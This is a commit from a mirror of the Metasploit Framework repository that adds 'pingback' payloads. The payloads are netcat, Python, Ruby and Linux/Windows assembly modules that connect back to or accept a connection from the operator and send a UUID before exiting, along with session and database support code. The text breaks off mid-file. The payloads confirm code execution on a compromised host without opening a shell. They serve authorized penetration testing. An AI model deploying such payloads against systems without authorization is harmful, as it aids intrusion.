1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-29 18:07:27 +01:00

Land #12129, Add Pingback Payloads

Merge branch 'land-12129' into upstream-master
This commit is contained in:
bwatters-r7 2019-07-30 12:06:57 -05:00
commit fb7f30e60d
No known key found for this signature in database
GPG Key ID: ECC0F0A52E65F268
27 changed files with 1260 additions and 13 deletions

View File

@ -41,4 +41,4 @@ module DataProxyAutoLoader
include VulnAttemptDataProxy include VulnAttemptDataProxy
include MsfDataProxy include MsfDataProxy
include PayloadDataProxy include PayloadDataProxy
end end

View File

@ -3,7 +3,6 @@ module PayloadDataProxy
def payloads(opts) def payloads(opts)
begin begin
self.data_service_operation do |data_service| self.data_service_operation do |data_service|
add_opts_workspace(opts)
data_service.payloads(opts) data_service.payloads(opts)
end end
rescue => e rescue => e
@ -14,7 +13,6 @@ module PayloadDataProxy
def create_payload(opts) def create_payload(opts)
begin begin
self.data_service_operation do |data_service| self.data_service_operation do |data_service|
add_opts_workspace(opts)
data_service.create_payload(opts) data_service.create_payload(opts)
end end
rescue => e rescue => e

View File

@ -41,5 +41,4 @@ module DataServiceAutoLoader
include RemoteMsfDataService include RemoteMsfDataService
include RemoteDbImportDataService include RemoteDbImportDataService
include RemotePayloadDataService include RemotePayloadDataService
end end

View File

@ -14,6 +14,7 @@ module Sessions
# with the server instance both at an API level as well as at a console level. # with the server instance both at an API level as well as at a console level.
# #
### ###
class Meterpreter < Rex::Post::Meterpreter::Client class Meterpreter < Rex::Post::Meterpreter::Client
include Msf::Session include Msf::Session

View File

@ -0,0 +1,98 @@
# -*- coding: binary -*-
require 'msf/base'
module Msf
module Sessions
###
#
# This class provides the ability to receive a pingback UUID
#
###
class Pingback
#
# This interface supports basic interaction.
#
include Msf::Session
include Msf::Session::Basic
attr_accessor :arch
attr_accessor :platform
attr_accessor :uuid_string
#
# Returns the type of session.
#
def self.type
"pingback"
end
def initialize(rstream, opts = {})
super
self.platform ||= ""
self.arch ||= ""
datastore = opts[:datastore]
end
def self.create_session(rstream, opts = {})
Msf::Sessions::Pingback.new(rstream, opts)
end
def process_autoruns(datastore)
uuid_read
cleanup
end
def cleanup
if rstream
# this is also a best-effort
rstream.close rescue nil
rstream = nil
end
end
def uuid_read
uuid_raw = rstream.get_once(16, 1)
return nil unless uuid_raw
self.uuid_string = uuid_raw.each_byte.map { |b| "%02x" % b.to_i() }.join
print_status("Incoming UUID = #{uuid_string}")
if framework.db.active
begin
payload = framework.db.payloads(uuid: uuid_string).first
if payload.nil?
print_warning("Provided UUID (#{uuid_string}) was not found in database!")
else
print_good("UUID identified (#{uuid_string})")
end
rescue ActiveRecord::ConnectionNotEstablished
print_status("WARNING: UUID verification and logging is not available, because the database is not active.")
rescue => e
# TODO: Can we have a more specific exception handler?
# Test: what if we send no bytes back? What if we send less than 16 bytes? Or more than?
elog("Can't get original UUID")
elog("Exception Class: #{e.class.name}")
elog("Exception Message: #{e.message}")
elog("Exception Backtrace: #{e.backtrace}")
end
else
print_warning("WARNING: UUID verification and logging is not available, because the database is not active.")
end
end
#
# Returns the session description.
#
def desc
"Pingback"
end
#
# Calls the class method
#
def type
self.class.type
end
end
end
end

View File

@ -8,7 +8,6 @@ module Msf::DBManager::Payload
end end
end end
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
Mdm::Payload.create!(opts) Mdm::Payload.create!(opts)
end end
end end
@ -20,7 +19,7 @@ module Msf::DBManager::Payload
else else
# Check the database for a matching UUID, returning an empty array if no results are found # Check the database for a matching UUID, returning an empty array if no results are found
begin begin
return Array.wrap(Mdm::Payload.find(uuid: opts[:uuid])) return Array.wrap(Mdm::Payload.where(uuid: opts[:uuid]))
rescue ActiveRecord::RecordNotFound rescue ActiveRecord::RecordNotFound
return [] return []
end end
@ -30,9 +29,6 @@ module Msf::DBManager::Payload
def update_payload(opts) def update_payload(opts)
::ActiveRecord::Base.connection_pool.with_connection do ::ActiveRecord::Base.connection_pool.with_connection do
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework, false)
opts[:workspace] = wspace if wspace
id = opts.delete(:id) id = opts.delete(:id)
Mdm::Payload.update(id, opts) Mdm::Payload.update(id, opts)
end end

View File

@ -273,6 +273,8 @@ class Exploit < Msf::Module
return mixins return mixins
end end
attr_accessor :needs_cleanup
# #
# Creates an instance of the exploit module. Mad skillz. # Creates an instance of the exploit module. Mad skillz.
# #
@ -752,6 +754,10 @@ class Exploit < Msf::Module
# what not? # what not?
return false if !compatible?(pi) return false if !compatible?(pi)
if self.needs_cleanup && !pi.can_cleanup
return false
end
# If the payload is privileged but the exploit does not give # If the payload is privileged but the exploit does not give
# privileged access, then fail it. # privileged access, then fail it.
return false if !self.privileged && pi.privileged return false if !self.privileged && pi.privileged

View File

@ -6,6 +6,7 @@ module Exploit::FileDropper
def initialize(info = {}) def initialize(info = {})
super super
self.needs_cleanup = true
@dropped_files = [] @dropped_files = []
@dropped_dirs = [] @dropped_dirs = []

View File

@ -81,6 +81,8 @@ class Obj
@path = module_instance.file_path @path = module_instance.file_path
@mod_time = ::File.mtime(@path) rescue Time.now @mod_time = ::File.mtime(@path) rescue Time.now
@ref_name = module_instance.refname @ref_name = module_instance.refname
@needs_cleanup = module_instance.respond_to?(:needs_cleanup) && module_instance.needs_cleanup
if module_instance.respond_to?(:autofilter_ports) if module_instance.respond_to?(:autofilter_ports)
@autofilter_ports = module_instance.autofilter_ports @autofilter_ports = module_instance.autofilter_ports
end end
@ -134,7 +136,8 @@ class Obj
'check' => @check, 'check' => @check,
'post_auth' => @post_auth, 'post_auth' => @post_auth,
'default_credential' => @default_credential, 'default_credential' => @default_credential,
'notes' => @notes 'notes' => @notes,
'needs_cleanup' => @needs_cleanup
}.to_json(*args) }.to_json(*args)
end end
@ -183,6 +186,8 @@ class Obj
@post_auth = obj_hash['post_auth'] @post_auth = obj_hash['post_auth']
@default_credential = obj_hash['default_credential'] @default_credential = obj_hash['default_credential']
@notes = obj_hash['notes'].nil? ? {} : obj_hash['notes'] @notes = obj_hash['notes'].nil? ? {} : obj_hash['notes']
@needs_cleanup = obj_hash['needs_cleanup']
end end
def sort_platform_string def sort_platform_string

View File

@ -68,7 +68,7 @@ class Payload < Msf::Module
# #
def initialize(info = {}) def initialize(info = {})
super super
self.can_cleanup = true
# If this is a staged payload but there is no stage information, # If this is a staged payload but there is no stage information,
# then this is actually a stager + single combination. Set up the # then this is actually a stager + single combination. Set up the
# information hash accordingly. # information hash accordingly.
@ -537,6 +537,11 @@ class Payload < Msf::Module
end end
#
# This attribute designates if the payload supports onsession()
# method calls (typically to clean up artifacts)
#
attr_accessor :can_cleanup
# #
# This attribute holds the string that should be prepended to the buffer # This attribute holds the string that should be prepended to the buffer
# when it's generated. # when it's generated.
@ -668,6 +673,7 @@ protected
# Merge the name to prefix the existing one and separate them # Merge the name to prefix the existing one and separate them
# with a comma # with a comma
# #
def merge_name(info, val) def merge_name(info, val)
if (info['Name']) if (info['Name'])
info['Name'] = val + ',' + info['Name'] info['Name'] = val + ',' + info['Name']

View File

@ -0,0 +1,39 @@
# -*- coding => binary -*-
require 'msf/core'
require 'msf/core/module/platform'
require 'rex/text'
#
# This class provides methods for calculating, extracting, and parsing
# unique ID values used by payloads.
#
module Msf::Payload::Pingback
attr_accessor :pingback_uuid
attr_accessor :can_cleanup
# Generate a Pingback UUID and write it to the database
def generate_pingback_uuid
self.pingback_uuid ||= SecureRandom.uuid()
self.pingback_uuid.to_s.gsub!("-", "")
datastore['PingbackUUID'] = self.pingback_uuid
vprint_status("PingbackUUID = #{datastore['PingbackUUID']}")
if framework.db.active
vprint_status("Writing UUID #{datastore['PingbackUUID']} to database...")
framework.db.create_payload(name: datastore['PayloadUUIDName'],
uuid: datastore['PingbackUUID'],
description: 'pingback',
platform: platform.platforms.first.realname.downcase)
else
print_warning("Unable to save UUID #{datastore['PingbackUUID']} to database -- database support not active")
end
self.pingback_uuid
end
def initialize(info = {})
super(info)
self.can_cleanup = false
self
end
end

View File

@ -0,0 +1,21 @@
# -*- coding => binary -*-
require 'msf/core'
require 'msf/core/payload/pingback'
#
# This module provides datastore option definitions and helper methods for payload modules that support UUIDs
#
module Msf::Payload::Pingback::Options
def initialize(info = {})
super
register_advanced_options(
[
Msf::OptInt.new('PingbackRetries', [true, "How many additional successful pingbacks", 0]),
Msf::OptInt.new('PingbackSleep', [true, "Time (in seconds) to sleep between pingbacks", 30])
], self.class)
end
end

View File

@ -1,6 +1,7 @@
# -*- coding: binary -*- # -*- coding: binary -*-
require 'msf/core/payload/uuid/options' require 'msf/core/payload/uuid/options'
require 'msf/core/payload/pingback/options'
## ##
# This module contains helper functions for creating the transport # This module contains helper functions for creating the transport
@ -8,6 +9,7 @@ require 'msf/core/payload/uuid/options'
## ##
module Msf::Payload::TransportConfig module Msf::Payload::TransportConfig
include Msf::Payload::Pingback::Options
include Msf::Payload::UUID::Options include Msf::Payload::UUID::Options
def transport_config_reverse_tcp(opts={}) def transport_config_reverse_tcp(opts={})

View File

@ -20,7 +20,6 @@ module Payload::Windows::ReverseTcp_x64
include Msf::Payload::Windows include Msf::Payload::Windows
include Msf::Payload::Windows::SendUUID_x64 include Msf::Payload::Windows::SendUUID_x64
include Msf::Payload::Windows::BlockApi_x64 include Msf::Payload::Windows::BlockApi_x64
include Msf::Payload::Windows::Exitfunk_x64
# #
# Register reverse_tcp specific options # Register reverse_tcp specific options

View File

@ -374,6 +374,10 @@ module Msf
# methods in order based on the supplied options and returns the finished payload. # methods in order based on the supplied options and returns the finished payload.
# @return [String] A string containing the bytes of the payload in the format selected # @return [String] A string containing the bytes of the payload in the format selected
def generate_payload def generate_payload
if payload.include?("pingback") and framework.db.active == false
cli_print "[-] WARNING: UUID cannot be saved because database is inactive."
end
if platform == "java" or arch == "java" or payload.start_with? "java/" if platform == "java" or arch == "java" or payload.start_with? "java/"
raw_payload = generate_java_payload raw_payload = generate_java_payload
encoded_payload = raw_payload encoded_payload = raw_payload

View File

@ -0,0 +1,50 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/pingback'
require 'msf/base/sessions/pingback'
module MetasploitModule
CachedSize = 103
include Msf::Payload::Single
include Msf::Payload::Pingback
include Msf::Payload::Pingback::Options
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Pingback Bind TCP (via netcat)',
'Description' => 'Accept a connection, send a UUID, then exit',
'Author' =>
[
'asoto-r7'
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::Pingback,
'PayloadType' => 'cmd',
'RequiredCmd' => 'netcat'
))
end
#
# Constructs the payload
#
def generate
super.to_s + command_string
end
#
# Returns the command string to use for execution
#
def command_string
self.pingback_uuid ||= self.generate_pingback_uuid
"printf '#{pingback_uuid.scan(/../).map { |x| "\\x" + x }.join}' | (nc -lp #{datastore['LPORT']} || nc -l #{datastore['LPORT']})"
end
end

View File

@ -0,0 +1,50 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/pingback'
require 'msf/base/sessions/pingback'
module MetasploitModule
CachedSize = 99
include Msf::Payload::Single
include Msf::Payload::Pingback
include Msf::Payload::Pingback::Options
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Pingback Reverse TCP (via netcat)',
'Description' => 'Creates a socket, send a UUID, then exit',
'Author' =>
[
'asoto-r7'
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Pingback,
'PayloadType' => 'cmd',
'RequiredCmd' => 'netcat'
))
end
#
# Constructs the payload
#
def generate
super.to_s + command_string
end
#
# Returns the command string to use for execution
#
def command_string
self.pingback_uuid ||= self.generate_pingback_uuid
"printf '#{pingback_uuid.scan(/../).map { |x| "\\x" + x }.join}' | nc #{datastore['LHOST']} #{datastore['LPORT']}"
end
end

View File

@ -0,0 +1,117 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/payload/pingback'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/pingback'
module MetasploitModule
CachedSize = 109
include Msf::Payload::Linux
include Msf::Payload::Single
include Msf::Payload::Pingback
include Msf::Payload::Pingback::Options
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux x64 Pingback, Bind TCP Inline',
'Description' => 'Accept a connection from attacker and report UUID (Linux x64)',
'Author' => [ 'bwatters-r7' ],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X64,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::Pingback
))
def generate_stage
# 22 -> "0x00,0x16"
# 4444 -> "0x11,0x5c"
encoded_port = [datastore['LPORT'].to_i,2].pack("vn").unpack("N").first
encoded_host = Rex::Socket.addr_aton("0.0.0.0").unpack("V").first
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
self.pingback_uuid ||= self.generate_pingback_uuid
uuid_as_db = "0x" + pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")
asm = %Q^
push rsi
push rax
;SOCKET
push 0x29
pop rax
cdq
push 0x2
pop rdi
push 0x1
pop rsi
syscall ; socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
test rax, rax
js failed
xchg rdi, rax
mov rcx, #{encoded_host_port}
push rcx
mov rsi, rsp
push rsp
pop rsi ; store pointer to struct
bind_call:
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
; rdi -> fd already stored in rdi
; rsi -> pointer to sockaddr_in6 struct already in rsi
push 0x31
pop rax ; bind syscall
push 0x10 ; sockaddr length
pop rdx ;
syscall
listen_call:
; int listen(int sockfd, int backlog);
; rdi -> fd already stored in rdi
push 0x32
pop rax ; listen syscall
push 0x1
pop rsi ; backlog
syscall
accept_call:
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; rdi -> fd already stored in rdi
push 0x2b
pop rax ; accept syscall
cdq ; zero-out rdx via sign-extension
push rdx
push rdx
push rsp
pop rsi ; when populated, client will be stored in rsi
push 0x1c
lea rdx, [rsp] ; pointer to length of rsi (16)
syscall
xchg rdi, rax ; grab client fd
send_pingback:
; sys_write(fd:rdi, buf*:rsi, length:rdx)
push #{uuid_as_db.split(",").length} ; length of the PINGBACK UUID
pop rdx ; length in rdx
call get_uuid_address ; put uuid buffer on the stack
db #{uuid_as_db} ; PINGBACK_UUID
get_uuid_address:
pop rsi ; UUID address into rsi
xor rax, rax ; sys_write = offset 1
inc rax ; sys_write = offset 1
syscall ; call sys_write
failed:
push 0x3c
pop rax
push 0x1
pop rdi
syscall ; exit(1)
^
Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
end
end
end

View File

@ -0,0 +1,117 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/payload/pingback'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/pingback'
module MetasploitModule
CachedSize = 125
include Msf::Payload::Linux
include Msf::Payload::Single
include Msf::Payload::Pingback
include Msf::Payload::Pingback::Options
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux x64 Pingback, Reverse TCP Inline',
'Description' => 'Connect back to attacker and report UUID (Linux x64)',
'Author' => [ 'bwatters-r7' ],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X64,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Pingback
))
def generate_stage
# 22 -> "0x00,0x16"
# 4444 -> "0x11,0x5c"
encoded_port = [datastore['LPORT'].to_i,2].pack("vn").unpack("N").first
encoded_host = Rex::Socket.addr_aton(datastore['LHOST']||"127.127.127.127").unpack("V").first
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max
self.pingback_uuid ||= self.generate_pingback_uuid
uuid_as_db = "0x" + self.pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")
seconds = 5.0
sleep_seconds = seconds.to_i
sleep_nanoseconds = (seconds % 1 * 1_000_000_000).to_i
asm = %Q^
push #{retry_count} ; retry counter
pop r9
push rsi
push rax
push 0x29
pop rax
cdq
push 0x2
pop rdi
push 0x1
pop rsi
syscall ; socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
test rax, rax
js failed
xchg rdi, rax
connect:
mov rcx, #{encoded_host_port}
push rcx
mov rsi, rsp
push 0x10
pop rdx
push 0x2a
pop rax
syscall ; connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
pop rcx
test rax, rax
jns send_pingback
handle_failure:
dec r9
jz failed
push rdi
push 0x23
pop rax
push 0x#{sleep_nanoseconds.to_s(16)}
push 0x#{sleep_seconds.to_s(16)}
mov rdi, rsp
xor rsi, rsi
syscall ; sys_nanosleep
pop rcx
pop rcx
pop rdi
test rax, rax
jns connect
failed:
push 0x3c
pop rax
push 0x1
pop rdi
syscall ; exit(1)
send_pingback:
push #{uuid_as_db.split(",").length} ; length of the PINGBACK UUID
pop rdx
call get_uuid_address ; put uuid buffer on the stack
db #{uuid_as_db} ; PINGBACK_UUID
get_uuid_address:
pop rsi ; UUID address
xor rax, rax
inc rax
syscall ; sys_write
jmp failed
^
Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
end
end
end

View File

@ -0,0 +1,49 @@
require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/python'
require 'msf/base/sessions/pingback'
require 'msf/core/payload/pingback'
module MetasploitModule
CachedSize = 262
include Msf::Payload::Single
include Msf::Payload::Pingback
include Msf::Payload::Pingback::Options
def initialize(info = {})
super(merge_info(info,
'Name' => 'Python Pingback, Bind TCP (via python)',
'Description' => 'Listens for a connection from the attacker, sends a UUID, then terminates',
'Author' => 'asoto-r7',
'License' => MSF_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::Pingback,
'PayloadType' => 'python'
))
end
def generate
super.to_s + command_string
end
def command_string
self.pingback_uuid ||= self.generate_pingback_uuid
cmd = <<~PYTHON
import binascii as b
import socket as s
o=s.socket(s.AF_INET,s.SOCK_STREAM)
try:
o.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1)
o.bind(('0.0.0.0', #{ datastore['LPORT']}))
o.listen(1)
o,addr=o.accept()
o.send(b.a2b_base64('#{[[self.pingback_uuid].pack('H*')].pack('m0')}'))
o.close()
except:
pass
PYTHON
end
end

View File

@ -0,0 +1,47 @@
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/python'
require 'msf/base/sessions/pingback'
require 'msf/core/payload/pingback'
module MetasploitModule
CachedSize = 193
include Msf::Payload::Single
include Msf::Payload::Pingback
include Msf::Payload::Pingback::Options
def initialize(info = {})
super(merge_info(info,
'Name' => 'Python Pingback, Reverse TCP (via python)',
'Description' => 'Connects back to the attacker, sends a UUID, then terminates',
'Author' => 'asoto-r7',
'License' => MSF_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Pingback,
'PayloadType' => 'python'
))
end
def generate
super.to_s + command_string
end
def command_string
self.pingback_uuid ||= self.generate_pingback_uuid
cmd = <<~PYTHON
import binascii as b
import socket as s
o=s.socket(s.AF_INET,s.SOCK_STREAM)
try:
o.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))
o.send(b.a2b_base64('#{[[self.pingback_uuid].pack('H*')].pack('m0')}'))
o.close()
except:
pass
PYTHON
end
end

View File

@ -0,0 +1,46 @@
require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/ruby'
require 'msf/base/sessions/pingback'
require 'msf/core/payload/pingback'
module MetasploitModule
CachedSize = 103
include Msf::Payload::Single
include Msf::Payload::Ruby
include Msf::Payload::Pingback
include Msf::Payload::Pingback::Options
def initialize(info = {})
super(merge_info(info,
'Name' => 'Ruby Pingback, Bind TCP',
'Description' => 'Listens for a connection from the attacker, sends a UUID, then terminates',
'Author' => 'asoto-r7',
'License' => MSF_LICENSE,
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::Pingback,
'PayloadType' => 'ruby'
))
end
def generate
#return prepends(ruby_string)
return ruby_string
end
def ruby_string
self.pingback_uuid ||= self.generate_pingback_uuid
return "require'socket';" \
"s=TCPServer.new(#{datastore['LPORT'].to_i});"\
"c=s.accept;"\
"s.close;"\
"c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}\'.unpack('m0');"
"c.close"
end
end

View File

@ -0,0 +1,44 @@
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/ruby'
require 'msf/base/sessions/pingback'
require 'msf/core/payload/pingback'
module MetasploitModule
CachedSize = 100
include Msf::Payload::Single
include Msf::Payload::Ruby
include Msf::Payload::Pingback
include Msf::Payload::Pingback::Options
def initialize(info = {})
super(merge_info(info,
'Name' => 'Ruby Pingback, Reverse TCP',
'Description' => 'Connect back to the attacker, sends a UUID, then terminates',
'Author' => 'asoto-r7',
'License' => MSF_LICENSE,
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Pingback,
'PayloadType' => 'ruby'
))
end
def generate
# return prepends(ruby_string)
return ruby_string
end
def ruby_string
self.pingback_uuid ||= self.generate_pingback_uuid
lhost = datastore['LHOST']
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
return "require'socket';" \
"c=TCPSocket.new'#{lhost}',#{datastore['LPORT'].to_i};" \
"c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}'.unpack('m0');"
"c.close"
end
end

View File

@ -0,0 +1,146 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/payload/pingback'
require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/windows/block_api'
require 'msf/base/sessions/pingback'
module MetasploitModule
CachedSize = 301
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::Payload::Pingback
include Msf::Payload::Windows::BlockApi
include Msf::Payload::Pingback::Options
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows x86 Pingback, Bind TCP Inline',
'Description' => 'Open a socket and report UUID when a connection is received (Windows x86)',
'Author' => [ 'bwatters-r7' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::Pingback
))
def generate_stage
encoded_port = [datastore['LPORT'].to_i,2].pack("vn").unpack("N").first
encoded_host = Rex::Socket.addr_aton(datastore['LHOST']||"127.127.127.127").unpack("V").first
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
self.pingback_uuid ||= self.generate_pingback_uuid
uuid_as_db = "0x" + self.pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")
addr_fam = 2
sockaddr_size = 16
asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the newly connected clients socket
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
bind_tcp:
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
push 0x5F327377 ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call ebp ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
call ebp ; WSAStartup( 0x0190, &WSAData );
push 11
pop ecx
push_0_loop:
push eax ; if we succeed, eax will be zero, push it enough times
; to cater for both IPv4 and IPv6
loop push_0_loop
; push zero for the flags param [8]
; push null for reserved parameter [7]
; we do not specify a WSAPROTOCOL_INFO structure [6]
; we do not specify a protocol [5]
push 1 ; push SOCK_STREAM
push #{addr_fam} ; push AF_INET/6
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
call ebp ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
; bind to 0.0.0.0/[::], pushed earlier
push #{encoded_port} ; family AF_INET and port number
mov esi, esp ; save a pointer to sockaddr_in struct
push #{sockaddr_size} ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)
push esi ; pointer to the sockaddr_in struct
push edi ; socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
call ebp ; bind( s, &sockaddr_in, 16 );
test eax,eax ; non-zero means a failure
jnz failure
; backlog, pushed earlier [3]
push edi ; socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')}
call ebp ; listen( s, 0 );
; we set length for the sockaddr struct to zero, pushed earlier [2]
; we dont set the optional sockaddr param, pushed earlier [1]
push edi ; listening socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')}
call ebp ; accept( s, 0, 0 );
push edi ; push the listening socket
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
call ebp ; closesocket( s );
send_pingback:
push 0 ; flags
push #{uuid_as_db.split(",").length} ; length of the PINGBACK UUID
call get_pingback_address ; put pingback_uuid buffer on the stack
db #{uuid_as_db} ; PINGBACK_UUID
get_pingback_address:
push edi ; saved socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
call ebp ; call send
push edi ; push the listening socket
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
call ebp ; closesocket( s );
handle_connect_failure:
; decrement our attempt count and try again
dec dword [esi+8]
jnz failure
cleanup_socket:
; clear up the socket
push edi ; socket handle
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
call ebp ; closesocket(socket)
failure:
exitfunk:
mov ebx, 0x56a2b5f0
push.i8 0 ; push the exit function parameter
push ebx ; push the hash of the exit function
call ebp ; ExitProcess(0)
^
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
end
end
end

View File

@ -0,0 +1,151 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/payload/pingback'
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/windows/block_api'
require 'msf/base/sessions/pingback'
module MetasploitModule
CachedSize = 292
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::Payload::Pingback
include Msf::Payload::Windows::BlockApi
include Msf::Payload::Pingback::Options
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows x86 Pingback, Reverse TCP Inline',
'Description' => 'Connect back to attacker and report UUID (Windows x86)',
'Author' => [ 'bwatters-r7' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Pingback
))
def generate_stage
encoded_port = [datastore['LPORT'].to_i, 2].pack("vn").unpack("N").first
encoded_host = Rex::Socket.addr_aton(datastore['LHOST'] || "127.127.127.127").unpack("V").first
retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max
pingback_count = datastore['PingbackRetries']
pingback_sleep = datastore['PingbackSleep']
self.pingback_uuid ||= self.generate_pingback_uuid
uuid_as_db = "0x" + self.pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")
asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
reverse_tcp:
push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.
push 'ws2_' ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
mov eax, ebp
call eax ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
call ebp ; WSAStartup( 0x0190, &WSAData );
set_address:
push #{pingback_count} ; retry counter
push #{retry_count} ; retry counter
push #{encoded_host} ; host in little-endian format
push #{encoded_port} ; family AF_INET and port number
mov esi, esp ; save pointer to sockaddr struct
create_socket:
push eax ; if we succeed, eax will be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
try_connect:
push 16 ; length of the sockaddr struct
push esi ; pointer to the sockaddr struct
push edi ; the socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
